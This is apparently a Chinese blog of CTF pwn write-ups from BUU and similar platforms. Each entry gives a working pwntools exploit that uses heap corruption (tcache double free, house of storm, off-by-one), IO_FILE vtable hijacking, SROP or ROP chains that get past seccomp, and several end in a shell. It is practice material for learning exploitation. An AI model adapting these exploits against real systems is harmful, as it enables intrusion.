BUU刷题集

之前一直有说要刷buu,但一直没怎么行动,今天开始,要好好刷题了!
这篇blog将持续不定时更新(如果能日更就好了)
啊宁!冲呀!

mrctf2020-spfa

这题其实刚开始看到我就觉得是算法题(曾经被最短路径折磨得不清啊

仔细看代码,发现程序有一个判断,两节点之间的路径>=两节点通过第三结点连接的路径的话就会给两节点附上两路径之和。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if ( s[v7] >= s[v6] + len[i] )
{
s[v7] = len[i] + s[v6];
if ( !v9[v7] )
{
v9[v7] = 1;
qu[v4++] = v7;
if ( v4 > 1000 )
{
puts("queue overflow error!");
return __readfsqword(0x28u) ^ v10;
}
}
}

如果路径长度都为0,则可陷入循环,直至qu[1000],而这个位置刚好是flag的位置,所以覆写-1为0,就可以绕过代码,直接getshell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

# p = process("./mrctf2020_spfa")
p=remote('node3.buuoj.cn',26483)

p.sendlineafter(":\n", '1')
p.sendlineafter(":\n", '1' + " " + '2' + " " + '0')

p.sendlineafter(":\n", '1')
p.sendlineafter(":\n", '2' + " " + '1' + " " + '0')

p.sendlineafter(":\n", '2')
p.sendlineafter(":\n", '1' + " " + '2')

p.sendlineafter(":\n", '3')

p.interactive()

pwnable_seethefile

open文件对文件的操作的pwn题我第一次见(一看就是刷题太少),感觉蛮有趣的,然后只好看大佬的wp,发现又是IO_FILE的利用,好像还是属于栈溢出

由于可以直接读文件,利用linux的proc伪文件系统读取/proc/self/maps即可获得libc基址(可能要两遍,主要是看.so的吧)
然后要伪造IO_FILE劫持vtable,使调用fclose的时候调用伪造的结构体

关于fclose的调用过程:https://www.jianshu.com/p/0176ebe02354

在检查vtable_offset==0之后函数对fp->_flags_IO_IS_FILEBUF位进行检查,_IO_IS_FILEBUF如上文定义如下

1
#define _IO_IS_FILEBUF 0x2000

若该位不为0则调用_IO_un_link(fp)将fp指向的FILE结构体从_IO_list_all的单向链表中取下,并调用_IO_file_close_it(fp)关闭fp。
然后将调用_IO_FINISH(fp),相当于执行((struct IO_FILE_plus *)fp->vtable)->__finish(fp)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

context(arch='i386',os='linux',log_level='debug')
myelf = ELF("./seethefile")
libc = ELF("./libc_32.so.6")
io = remote("chall.pwnable.tw",10200)

sla = lambda delim,data :io.sendlineafter(delim, data)
openfile = lambda name : (sla("choice :","1"),sla("see :",name))
readfile = lambda : (sla("choice :","2"))
showfile = lambda : (sla("choice :","3"))
leave = lambda name : (sla("choice :","5"),sla("ame :",name))

# leak libc
openfile("/proc/self/maps")
readfile()
showfile()
io.recvuntil("[heap]\n")
libc_addr = int(io.recv(8),16)+0x1000
system_addr = libc_addr +libc.symbols['system']

# make fake file
fakeFILE = 0x0804B284
payload = 'a'*0x20
payload += p32(fakeFILE)
payload += p32(0xffffdfff)
payload += ";$0"+'\x00'*0x8d
payload += p32(fakeFILE+0x98)
payload += p32(system_addr)*3

# getshell
leave(payload)
io.interactive()

reference

https://xuanxuanblingbling.github.io/ctf/pwn/2020/04/03/file/

关于fclose的调用过程

https://www.jianshu.com/p/0176ebe02354

[V&N2020 公开赛]easyTHeap

这个是个最简单的tcache+double free
glibc2.27增加了简单tcache这个机制
就是先放进tcache的队列里,通过double free来使它进入unsorted bin队列来leak

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!usr/bin/env python
# -*- coding:utf-8 -*-

from pwn import*

context.log_level ='DEBUG'
p=process('./easyTHeap')
# p = remote('node3.buuoj.cn',26148)
elf = ELF('./easyTHeap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def add(size):
p.recvuntil("choice: ")
p.sendline("1")
p.recvuntil("size?")
p.sendline(str(size))


def edit(idx,content):
p.recvuntil("choice: ")
p.sendline("2")
p.recvuntil("idx?")
p.sendline(str(idx))
p.recvuntil("content:")
p.send(content)


def show(idx):
p.recvuntil("choice: ")
p.sendline("3")
p.recvuntil("idx?")
p.sendline(str(idx))


def delete(idx):
p.recvuntil("choice: ")
p.sendline("4")
p.recvuntil("idx?")
p.sendline(str(idx))


# add(0x80)
add(0x100)
add(0x68)

delete(0)
delete(0)
show(0)
heap_base = u64(p.recvline().strip("\n").ljust(8,'\x00')) - 0x260
print hex(heap_base)
# gdb.attach(p)
add(0x100)#2
edit(2,p64(heap_base+0x10))
add(0x100)#3
add(0x100)#4 target
delete(0)
show(0)
libc_base = u64(p.recvline().strip("\n").ljust(8,'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
__malloc_hook = libc_base + libc.sym['__malloc_hook']

print hex(libc_base)
print hex(__malloc_hook)
realloc_hook=libc.sym['__realloc_hook']+libc_base
realloc = libc.symbols['realloc']+libc_base
payload = p64(0)+p64(0x2000000000000)+p64(0)*20+p64(0)
# payload += p64(__malloc_hook)
payload += p64(realloc_hook)
edit(4,payload)

add(0x100)

one_gadget = libc_base + 0x10a38c
# 0x4f2c5, 0x4f322, 0x10a38c

payload = p64(one_gadget)+p64(realloc+4) #rsp+0x70 == null(0x0)
edit(5,payload)
debug(0x0b6f)
add(0x100)

p.interactive()

新增知识点:

通过这题是终于知道了onegadget那些个rsp+0x30=0或者null是什么了
就是在调用malloc之后,call sytem那个位置,看stack里面,是否满足rsp + 0x30(或者其他)和onegadget里面的条件一致,一致的话这个gadget就可行,不然就要再调用realloc,增加偏移,使他满足(跟进realloc里面看,找到realloc + xxx 的位置为0,即可)

[V&N2020 公开赛]simpleheap

off by one的一道题

利用off by one可以改chunk size,构造overlap,free掉再add来leak libc,再free掉被重叠的一个堆块,然后再用另一个idx改fd为目标地址(即main_arena-0x23)再add两次就可以达到修改malloc为onegadget的目的了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import*
context.log_level = 'debug'
context.arch = 'amd64'

p = process('./vn_pwn_simpleHeap')
elf = ELF('./vn_pwn_simpleHeap')
libc = elf.libc

def add(size,content):
p.sendlineafter('choice: ','1')
p.sendlineafter('size?',str(size))
p.sendafter('content:',content)

def edit(index,content):
p.sendlineafter('choice: ','2')
p.sendlineafter('idx?',str(index))
p.sendafter('content:',content)

def show(index):
p.sendlineafter('choice: ','3')
p.sendlineafter('idx?',str(index))

def free(index):
p.sendlineafter('choice: ','4')
p.sendlineafter('idx?',str(index))

add(0x28,'\n') #0
add(0x68,'\n') #1
add(0x68,'\n') #2
add(0x20,'\n') #3
payload = '\x00'*0x28 + '\xE1'
edit(0,payload)
free(1)
gdb.attach(p)
add(0x68,'\n') #1
show(2)
main_arena = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 88
log.success('Main_Arena:\t' + hex(main_arena))
libcbase = main_arena - (libc.symbols['__malloc_hook'] + 0x10)
malloc_hook = libcbase + libc.symbols['__malloc_hook']
log.success('Malloc_Hook:\t' + hex(malloc_hook))
realloc = libcbase + 0x846CC
one_gadget = libcbase + 0x4526A
add(0x60,'\n') #4 ->2
free(3)
free(2)
payload = p64(malloc_hook-0x23)+'\n'
edit(4,payload)
add(0x60,'\n')
add(0x60,'\x00'*(0x13-8) + p64(one_gadget)+p64(realloc)+'\n')
p.sendlineafter('choice: ','1')
p.sendlineafter('size?','32')
p.interactive()

[V&N2020 公开赛]warmup

这题开了沙箱,然后用seccomp-tools看一下什么被禁了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
coyote@ubuntu:~/Yee/V&N$ seccomp-tools dump ./vn_pwn_warmup
This is a easy challange for you.
Here is my gift: 0x7f41cd2fc690
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x07 0x00 0x40000000 if (A >= 0x40000000) goto 0011
0004: 0x15 0x06 0x00 0x0000003b if (A == execve) goto 0011
0005: 0x15 0x00 0x04 0x00000001 if (A != write) goto 0010
0006: 0x20 0x00 0x00 0x00000024 A = count >> 32 # write(fd, buf, count)
0007: 0x15 0x00 0x02 0x00000000 if (A != 0x0) goto 0010
0008: 0x20 0x00 0x00 0x00000020 A = count # write(fd, buf, count)
0009: 0x15 0x01 0x00 0x00000010 if (A == 0x10) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL

发现execve被禁了,所以我们只能用orw来把flag打印出来

题目的两次输入是连着的,第二次是在第一次的前面,所以我们把orw写到第一次输入里面,在第二次输入的跳转地址处填入pop rdi,由于第一次输入的内容会pop到rdi中,在第二次输入执行完之后会执行pop rdi操作,即执行输入一里的内容,第一步是read(0,stack,0x8),需要接收一个参数,所以我们再次发送“flag”这个字符过去。

先用read把“flag”字符读进stack的位置里面(environ是libc存储的栈地址),open的时候拿它当参数,打开文件夹,再用read把flag的内容传到stack+8的地址里

1
2
3
4
5
6
pwndbg> stack
00:0000│ rsp 0x7fff6fee0268 —▸ 0x7fc045b630c9 (__lll_unlock_wake_private+25) ◂— pop rdx
01:00080x7fff6fee0270 ◂— 0x100
02:00100x7fff6fee0278 —▸ 0x7fc045e14f40 (namelen) ◂— 'flag{1234567}\n'
03:00180x7fff6fee0280 —▸ 0x7fc045b452b0 (write) ◂— cmp dword ptr [rip + 0x2d2489], 0
04:00200x7fff6fee0288 ◂— 0x6161616161616161 ('aaaaaaaa')

最后用write打印出来即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import*
context.log_level = 'debug'

p = process('./vn_pwn_warmup')
elf = ELF('./vn_pwn_warmup')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p.recvuntil("0x")
puts_addr = int(p.recvline(),16)
libc_base = puts_addr - libc.sym['puts']
log.success("libc_base==>" + hex(libc_base))
libc.address = libc_base
pop_rdi_ret = 0x0000000000021102+libc_base
pop_rdx_rsi = 0x00000000001150c9+libc_base
ret = 0x0000000000000937 + libc_base
stack_addr = libc.sym['environ'] # environ是libc存储的栈地址
#gdb.attach(p)
payload = p64(0) + p64(pop_rdx_rsi) + p64(0x8) + p64(stack_addr) + p64(libc.sym['read']) #调用read函数,第一个参数写在了第二次输入的最后
payload += p64(pop_rdi_ret) + p64(stack_addr) + p64(pop_rdx_rsi) + p64(0)*2 + p64(libc.sym['open'])
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rdx_rsi) + p64(0x100) + p64(stack_addr+8) + p64(libc.symbols['read'])
payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rdx_rsi) + p64(0x100) + p64(stack_addr+8) + p64(libc.symbols['write'])
payload += "a"*(0x180-len(payload))
gdb.attach(p)
p.send(payload)
sleep(0.1)

payload = "a"*0x78 + p64(pop_rdi_ret)
p.recvuntil("name?")
p.send(payload)
p.send("flag\x00")
p.interactive()

新增知识点

read(3,fstack+8,0x100),3是文件读入(0是键盘读入)
ps:flag字符如果没有’\x00’截断是不可以过的

[V&N2020 公开赛]babybabypwn

也是开了沙箱的一题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
coyote@ubuntu:~/Yee/V&N$ seccomp-tools dump ./vn_pwn_babybabypwn_1
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0d 0xc000003e if (A != ARCH_X86_64) goto 0015
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0a 0xffffffff if (A != 0xffffffff) goto 0015
0005: 0x15 0x09 0x00 0x00000009 if (A == mmap) goto 0015
0006: 0x15 0x08 0x00 0x0000000a if (A == mprotect) goto 0015
0007: 0x15 0x07 0x00 0x00000029 if (A == socket) goto 0015
0008: 0x15 0x06 0x00 0x0000002a if (A == connect) goto 0015
0009: 0x15 0x05 0x00 0x00000031 if (A == bind) goto 0015
0010: 0x15 0x04 0x00 0x00000032 if (A == listen) goto 0015
0011: 0x15 0x03 0x00 0x00000038 if (A == clone) goto 0015
0012: 0x15 0x02 0x00 0x00000039 if (A == fork) goto 0015
0013: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0015
0014: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0015: 0x06 0x00 0x00 0x00000000 return KILL

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 sub_1347()
{
char buf; // [rsp+0h] [rbp-110h]
unsigned __int64 v2; // [rsp+108h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Welcome to v&n challange!");
printf("Here is my gift: 0x%llx\n", &puts);
printf("Please input magic message: ");
read(0, &buf, 0x100uLL);
syscall(15LL, &buf);
return __readfsqword(0x28u) ^ v2;
}

不过这题用了srop,一下子没想起来syscall 15是干嘛用的,后来经大佬提点才发现是srop。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import*
context.log_level = 'debug'
context.arch = 'amd64'

p = process("./vn_pwn_babybabypwn_1")
elf = ELF("./vn_pwn_babybabypwn_1")
libc = ELF("./libc-2.23.so")
stack_addr = libc.sym['environ']
p.recvuntil("0x")
puts_addr = int(p.recvline(),16)
libc_base = puts_addr - libc.sym['puts']
log.success("libc_base==>" + hex(libc_base))
libc.address = libc_base
stack_addr = libc.sym['environ']
pop_rdi_ret = 0x0000000000021102 + libc_base
pop_rdx_rsi = 0x00000000001150c9 + libc_base
pop_rdx_ret = 0x0000000000001b92 + libc_base
syscall_addr = 0x00000000000bc375 + libc_base

srop = SigreturnFrame() # pwntools提供了Sigreturn Frame的构建
srop.rax = constants.SYS_read
srop.rdi = 0
srop.rsi = stack_addr
srop.rdx = 0x200
srop.rsp = stack_addr + 8
srop.rip = syscall_addr
#gdb.attach(p)
payload = str(srop)[8:]
p.send(payload)

shell = "flag" + "\x00"*4 + p64(pop_rdi_ret) + p64(stack_addr) + p64(pop_rdx_rsi) + p64(0) + p64(0) + p64(libc.symbols['open'])
shell += p64(pop_rdi_ret) + p64(3) + p64(pop_rdx_rsi) + p64(0x100) + p64(stack_addr) + p64(libc.symbols['read'])
shell += p64(pop_rdi_ret) + p64(1) + p64(pop_rdx_rsi) + p64(0x100) + p64(stack_addr) + p64(libc.symbols['write'])

p.send(shell)
p.interactive()

ps:和前一道栈题其实很像

*CTF2019 heap_master

这道我用unsorted bin + global max fast + free_hook通的(unsorted bin + IO_frush_all_lockp可能是用到栈上的地址,ret填了太多,所以一直是timeout

详细过程的话就看我另一篇blog

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#coding=utf8
from sc_expwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
context.terminal = ['tmux','splitw','-h']
# p = process('./heap_master')
p=remote('node3.buuoj.cn',27915)
libc = ELF("./libc-2.23.so")
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def malloc(size):
p.sendlineafter('>> ', '1')
p.sendlineafter('size: ', str(size))
# else:
# self.sendline('1')
# self.sendline(str(size))

def malloc_(size):
p.sendline('1')
p.sendline(str(size))


def edit(offset,content):
# if self.wait:
p.sendlineafter('>> ', '2')
p.sendlineafter('offset: ', str(offset))
p.sendlineafter('size: ', str(len(content)))
p.sendafter('content: ', content)
# else:
# self.sendline('2')
# self.sendline(str(offset))
# self.sendline(str(len(content)))
# self.send(content)


def edit_(offset,content):
p.sendline('2')
p.sendline(str(offset))
p.sendline(str(len(content)))
p.send(content)


def free(offset):
# if self.wait:
p.sendlineafter('>> ', '3')
p.sendlineafter('offset: ', str(offset))
# else:
# self.sendline('3')
# self.sendline(str(offset))

def free_(offset):
p.sendline('3')
p.sendline(str(offset))



libc_guess = 0x7ffff7a0d000
offset_libc_free_hook= libc_guess +libc.symbols['__free_hook']
print hex(offset_libc_free_hook)
offset_max_fast = offset_libc_free_hook +0x50
# offset_max_fast=libc_guess+libc.symbols['global_max_fast']
offset_libc_stdout=libc_guess+libc.symbols['_IO_2_1_stdout_']


edit(0x8,p64(0x91)) #0
edit(0x98, p64(0x21)) #1
edit(0xb8, p64(0x21)) #2
free(0x10)

# gdb.attach(proc.pidof(p)[0])
edit(0x18, p16((offset_max_fast-0x10)&0xffff))
malloc(0x80)#global_max_fast 赋值

# gdb.attach(proc.pidof(p)[0])
edit(0x8, p64(0xf1))
edit(0xf8, p64(0x11))

free(0x10)
edit(0x8, p64(0x91))

# gdb.attach(p)
edit(0x18, p16((offset_libc_stdout+0x10-0x10)&0xffff)) #read_end

malloc(0x88)

edit_(0x8, p64(0xf1))
free_(0x10)
edit_(0x8, p64(0x91))
# gdb.attach(proc.pidof(p)[0])
edit_(0x18, p16((offset_libc_stdout+0x20-0x10)&0xffff)) #write_base
malloc_(0x88)

heap_addr = u64(p.recv(8).ljust(8,'\x00'))-0x20
print hex(heap_addr)
fake = u64(p.recv(8).ljust(8,'\x00'))
print hex(fake)
addr_buf_base = u64(p.recv(8).ljust(8,'\x00'))
print hex(addr_buf_base)
libc_addr = u64(p.recv(8).ljust(8,'\x00'))-16 - libc.symbols['_IO_2_1_stdout_']
print hex(libc_addr)
p.recv(0x838)
addr_stack= u64(p.recv(8).ljust(8,'\x00'))-0x3
print hex(addr_stack)

libc.address=libc_addr
addr_libc_gets = libc.sep_function['gets']
addr_libc_stdout = libc.symbols['_IO_2_1_stdout_']
addr_libc_dl_open_hook = libc.symbols['_dl_open_hook']
addr_libc_io_file_jumps = libc.symbols['_IO_file_jumps']
addr_libc_io_str_jumps = addr_libc_io_file_jumps + 0xc0
fastbin_ptr=libc.symbols['__free_hook']-0x1c88 +8
free_hook=libc.sym["__free_hook"]
system_addr=libc.sym["system"]


size=0x3920
fake_size=p64(size+1)
edit(0x38,fake_size)
edit(0x30+size,p64(0)+p64(0x21))
free(0x40)


edit(0x40,p64(system_addr))#修改fd为system
malloc(0x3910)


edit(0x110,'/bin/sh\x00')
free(0x110)
p.interactive()

RCTF2019 babyheap

我直接用house of strom做的,很多大佬也用了改global_max_fast来做,我过后再去看看

这里直接利用overlap来泄露,然后largebin attack改free_hook为setcontext+53的gadget,然后在对应位置放入rop链,free该堆块,即执行
具体分析过程可以看我的另一篇blog

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
#coding=utf8
from pwn import *

context.log_level = "debug"
# context.terminal = ["tmux","split","-h"]

p = process("./babyheap")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(size):
p.recvuntil("Choice: ")
p.sendline('1')
p.recvuntil("Size: ")
p.send(str(size))

def edit(idx,data):
p.recvuntil("Choice: ")
p.sendline('2')
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Content: ")
p.send(data)

def delete(idx):
p.recvuntil("Choice: ")
p.sendline('3')
p.recvuntil("Index: ")
p.sendline(str(idx))

def show(idx):
p.recvuntil("Choice: ")
p.sendline('4')
p.recvuntil("Index: ")
p.sendline(str(idx))


add(0x18) #0 0x21
add(0x28) #1 0x31
add(0xf8) #2
add(0x18) #3


add(0x18) #4
add(0x508) #5
add(0x18)

add(0x18)
add(0x508)
add(0x18)

# gdb.attach(p)
delete(0)
edit(1,'a'*0x20+p64(0x50))
delete(2)
add(0x18)
show(1)
libc_address=u64(p.recv(6).ljust(8,'\x00')) - 0x3c4b78
print hex(libc_address)
free_hook = libc.symbols["__free_hook"]+libc_address
fake_chunk = free_hook - 0x20
# gdb.attach(p)



add(0x68) #2
add(0x48) #10
add(0x100) #11 -> old chunk2->smallbin 0xe0
delete(2)

add(0x100) #2 -> chunk2 -> smallbin
show(1)
heap_base = u64(p.recvuntil("\n",drop=True).ljust(8,'\x00'))-0xe0
print hex(heap_base)
add(0x68)
add(0x68)

edit(5,'a'*0x4f0+p64(0x500))
delete(5)
edit(4,'a'*0x18)
# gdb.attach(p)

add(0x18)
add(0x4d8) #14

delete(5)
delete(6)# -->0x508

add(0x30)
add(0x4d0)
# delete(8) #unsorted bin

edit(8,'a'*0x4f0+p64(0x500))
delete(8)

edit(7,'a'*0x18)
add(0x18)#8
add(0x4d8)#15

delete(8)
delete(9)# free ->chunk5 but chunk8 here

add(0x40)

delete(6) #构造一个largebin 一个unsortedbin
add(0x4e8) #chunk5->largebin
delete(6) #chunk2->unsortedbin


payload = p64(0)*3 + p64(0x4f1) + p64(0) + p64(fake_chunk) +p64(0)*2# bk fackchunk->fd
edit(14,payload)

payload2 = p64(0)*4 + p64(0) + p64(0x4e1)
payload2 += p64(0) + p64(fake_chunk+8) #bk -->fakechunk->bk
payload2 += p64(0) + p64(fake_chunk-0x18-5)#size 0x56

edit(15,payload2)
gdb.attach(p)
add(0x40)
# edit(8,p64(0)*3+p64(0x511))
ret = libc_address+0x937
p_rdi_r = libc_address+ 0x21112 #0x21102
p_rsi_r = libc_address+ 0x202f8 #0x202e8
p_rdx_r = libc_address+0x1b92


rop_chain = "flag".ljust(8,"\x00")+p64(0)*12+p64(heap_base+0x1c0) #[rdi+0x68] is rdi
rop_chain += p64(0) #[rdi+0x70] is rsi
rop_chain += p64(0)*2 + p64(0) #[rdi+0x88] is rdx
rop_chain = rop_chain.ljust(0xa0,"\x00")
rop_chain += p64(heap_base+0x1c0+0x100)
rop_chain += p64(libc.symbols["open"]+libc_address)
rop_chain = rop_chain.ljust(0x100,"\x00")
#now read and write
rop_chain += p64(p_rdi_r)+p64(3)+p64(p_rsi_r)+p64(heap_base+0x1c0+0x200)
rop_chain += p64(p_rdx_r)+p64(0x100)
rop_chain += p64(libc.symbols["read"]+libc_address)

rop_chain += p64(p_rdi_r)+p64(1)+p64(p_rsi_r)+p64(heap_base+0x1c0+0x200)
rop_chain += p64(p_rdx_r)+p64(0x100)
rop_chain += p64(libc.symbols["write"]+libc_address)

edit(14,rop_chain)

edit(6,"A"*0x10+p64(libc.symbols["setcontext"]+53+libc_address))
delete(14)
p.interactive()

0CTF 2018 heapstorm2

off by one + house of storm

这题到后面绕过leak的条件那里有点复杂,不停地修改chunk的地址和size什么的,这个地方还是理了一段时间的
最后再利用堆块地址改成free_hook,将free_hook的地址改成one_gadget就可以getshell了
(最近都在刷house of storm的题了)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#coding=utf-8
from pwn import *

p = process('./heapstorm2')
# p = remote('node3.buuoj.cn',29225)

elf = ELF('./heapstorm2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if debug:
gdb.attach(p)

def malloc(size):
p.recvuntil('Command: ')
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))

def edit(index,content):
p.recvuntil('Command: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Size: ')
p.sendline(str(len(content)))
p.recvuntil('Content: ')
p.send(content)

def delete(index):
p.recvuntil('Command: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(index))

def show(index):
p.recvuntil('Command: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(index))

def exp():
puts_got = elf.got['puts']
one_gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]

malloc(0x18)
malloc(0x508)
malloc(0x18)

malloc(0x18)
malloc(0x508)
malloc(0x18)
malloc(0x18)

edit(1,'a'*0x4f0+p64(0x500))
edit(4,'a'*0x4f0+p64(0x500))

delete(1)
edit(0,'a'*(0x18-0xc))
malloc(0x18)
malloc(0x4d8)

delete(1)
delete(2)

malloc(0x30)
malloc(0x4e0)

delete(4)
edit(3,'a'*(0x18-0xc))
malloc(0x18)
malloc(0x4d8)

delete(4)
delete(5)

malloc(0x40)

delete(2)
malloc(0x4e8)
delete(2)


storage = 0x13370000 + 0x800
fake_chunk = storage - 0x20
payload = p64(0)*2 + p64(0) + p64(0x4f1)
payload += p64(0) + p64(fake_chunk)
edit(7,payload)


payload2 = p64(0)*4 + p64(0) + p64(0x4e1)#size
payload2 += p64(0) + p64(fake_chunk+8)
payload2 += p64(0) + p64(fake_chunk-0x18-5)
edit(8,payload2)
gdb.attach(p)
malloc(0x48)

edit(2,p64(0)*5+p64(0x13377331)+p64(storage))
payload = p64(0)*3 + p64(0x13377331)+p64(storage) + p64(0x1000) + p64(storage-0x20+3)+p64(8) #chunk0 -chunk1
edit(0,payload)

show(1)
p.recvuntil('Chunk[1]: ')
heap_base = u64(p.recvline().strip('\n')) - 0x60
print hex(heap_base)

payload = p64(0)*3 + p64(0x13377331)+p64(storage) + p64(0x1000) + p64(heap_base+0x60+0x10) + p64(8)
edit(0,payload)
show(1)
p.recvuntil('Chunk[1]: ')
libc_base = u64(p.recvline().strip('\n')) - 88 - 0x3c4b20
print hex(libc_base)
free_hook = libc_base + libc.symbols['__free_hook']
getshell = one_gadgets[2]+libc_base

payload = p64(0)*3 + p64(0x13377331)+p64(storage) + p64(0x1000) + p64(free_hook) + p64(8)
edit(0,payload)
edit(1,p64(getshell))
delete(3)

p.interactive()


exp()